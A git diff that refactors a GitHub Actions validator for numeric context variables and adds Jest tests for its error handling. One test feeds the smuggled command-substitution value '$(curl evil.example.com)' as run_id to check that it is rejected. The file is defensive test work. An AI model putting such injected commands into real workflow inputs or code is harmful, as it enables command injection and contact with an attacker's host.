diff --git a/actions/setup/js/validate_context_variables.cjs b/actions/setup/js/validate_context_variables.cjs index 2f3b78c80ab..45481ac4b2a 100644 --- a/actions/setup/js/validate_context_variables.cjs +++ b/actions/setup/js/validate_context_variables.cjs @@ -45,7 +45,6 @@ * not a numeric database ID. Push events always produce a hex SHA here. */ -const { getErrorMessage } = require("./error_helpers.cjs"); const { ERR_VALIDATION } = require("./error_codes.cjs"); /** @@ -146,58 +145,44 @@ function validateNumericValue(value, varName) { * @param {object} ctx - GitHub Actions context object */ async function validateContextVariables(coreArg, ctx) { - try { - coreArg.info("Starting context variable validation..."); - - const failures = []; - let checkedCount = 0; - - // Validate each numeric context variable by reading directly from context - for (const { path, name } of NUMERIC_CONTEXT_PATHS) { - const value = getNestedValue(ctx, path); - - // Only validate if the value exists - if (value !== undefined) { - checkedCount++; - const result = validateNumericValue(value, name); - - if (result.valid) { - coreArg.info(`✓ ${result.message}`); - } else { - coreArg.error(`✗ ${result.message}`); - failures.push({ - name, - value, - message: result.message, - }); - } + coreArg.info("Starting context variable validation..."); + + const failures = []; + let checkedCount = 0; + + for (const { path, name } of NUMERIC_CONTEXT_PATHS) { + const value = getNestedValue(ctx, path); + if (value !== undefined) { + checkedCount++; + const result = validateNumericValue(value, name); + if (result.valid) { + coreArg.info(`✓ ${result.message}`); + } else { + coreArg.error(`✗ ${result.message}`); + failures.push({ name, value, message: result.message }); } } + } - coreArg.info(`Validated ${checkedCount} context variables`); - - // If there are any failures, fail the workflow - if (failures.length > 0) { - const errorMessage = - `Context variable validation failed!\n\n` + - `Found ${failures.length} malicious or invalid numeric field(s):\n\n` + - failures.map(f => ` - ${f.name}: "${f.value}"\n ${f.message}`).join("\n\n") + - "\n\n" + - "Numeric context variables (like github.event.issue.number) must be either empty or valid integers.\n" + - "This validation prevents injection attacks where special text or code is hidden in numeric fields.\n\n" + - "If you believe this is a false positive, please report it at:\n" + - "https://github.com/github/gh-aw/issues"; - - coreArg.setFailed(errorMessage); - throw new Error(errorMessage); - } - - coreArg.info("✅ All context variables validated successfully"); - } catch (error) { - const errorMessage = getErrorMessage(error); - coreArg.setFailed(`${ERR_VALIDATION}: Context variable validation failed: ${errorMessage}`); - throw error; + coreArg.info(`Validated ${checkedCount} context variables`); + + if (failures.length > 0) { + const failureDetails = failures.map(f => ` - ${f.name}: "${f.value}"\n ${f.message}`).join("\n\n"); + const errorMessage = + `${ERR_VALIDATION}: Context variable validation failed!\n\n` + + `Found ${failures.length} malicious or invalid numeric field(s):\n\n` + + failureDetails + + "\n\n" + + "Numeric context variables (like github.event.issue.number) must be either empty or valid integers.\n" + + "This validation prevents injection attacks where special text or code is hidden in numeric fields.\n\n" + + "If you believe this is a false positive, please report it at:\n" + + "https://github.com/github/gh-aw/issues"; + + coreArg.setFailed(errorMessage); + throw new Error(errorMessage); } + + coreArg.info("✅ All context variables validated successfully"); } /** diff --git a/actions/setup/js/validate_context_variables.test.cjs b/actions/setup/js/validate_context_variables.test.cjs index 77a9fa14514..02a5fa828cb 100644 --- a/actions/setup/js/validate_context_variables.test.cjs +++ b/actions/setup/js/validate_context_variables.test.cjs @@ -357,4 +357,85 @@ describe("validateContextVariables", () => { expect(mockCore.setFailed).toHaveBeenCalled(); expect(mockCore.error).toHaveBeenCalledWith(expect.stringContaining("non-numeric")); }); + + it("should include ERR_VALIDATION prefix in setFailed message", async () => { + const ctx = { + payload: { issue: { number: "not-a-number" } }, + }; + + await expect(validateContextVariables(mockCore, ctx)).rejects.toThrow(); + expect(mockCore.setFailed).toHaveBeenCalledTimes(1); + expect(mockCore.setFailed).toHaveBeenCalledWith(expect.stringContaining("ERR_VALIDATION")); + }); + + it("should call setFailed only once on validation failure", async () => { + const ctx = { + payload: { issue: { number: "inject" } }, + }; + + await expect(validateContextVariables(mockCore, ctx)).rejects.toThrow(); + expect(mockCore.setFailed).toHaveBeenCalledTimes(1); + }); + + it("should report zero validated variables when context has no known fields", async () => { + const ctx = {}; + + await validateContextVariables(mockCore, ctx); + + expect(mockCore.setFailed).not.toHaveBeenCalled(); + expect(mockCore.info).toHaveBeenCalledWith("Validated 0 context variables"); + expect(mockCore.info).toHaveBeenCalledWith(expect.stringContaining("✅ All context variables validated successfully")); + }); + + it("should report the correct count of validated variables", async () => { + const ctx = { + payload: { issue: { number: 1 }, pull_request: { number: 2 } }, + run_id: 999, + }; + + await validateContextVariables(mockCore, ctx); + + expect(mockCore.setFailed).not.toHaveBeenCalled(); + expect(mockCore.info).toHaveBeenCalledWith("Validated 3 context variables"); + }); + + it("should report all failures when multiple invalid fields are present", async () => { + const ctx = { + payload: { + issue: { number: "bad1" }, + pull_request: { number: "bad2" }, + comment: { id: "bad3" }, + }, + }; + + await expect(validateContextVariables(mockCore, ctx)).rejects.toThrow(); + expect(mockCore.setFailed).toHaveBeenCalledTimes(1); + const failMsg = mockCore.setFailed.mock.calls[0][0]; + expect(failMsg).toContain("3 malicious or invalid"); + expect(failMsg).toContain("github.event.issue.number"); + expect(failMsg).toContain("github.event.pull_request.number"); + expect(failMsg).toContain("github.event.comment.id"); + }); + + it("should validate run_id and run_number at the top level of context", async () => { + const ctx = { + run_id: 42, + run_number: 7, + }; + + await validateContextVariables(mockCore, ctx); + + expect(mockCore.setFailed).not.toHaveBeenCalled(); + expect(mockCore.info).toHaveBeenCalledWith("Validated 2 context variables"); + }); + + it("should fail when run_id contains non-numeric data", async () => { + const ctx = { + run_id: "$(curl evil.example.com)", + run_number: 1, + }; + + await expect(validateContextVariables(mockCore, ctx)).rejects.toThrow(); + expect(mockCore.setFailed).toHaveBeenCalledWith(expect.stringContaining("github.run_id")); + }); });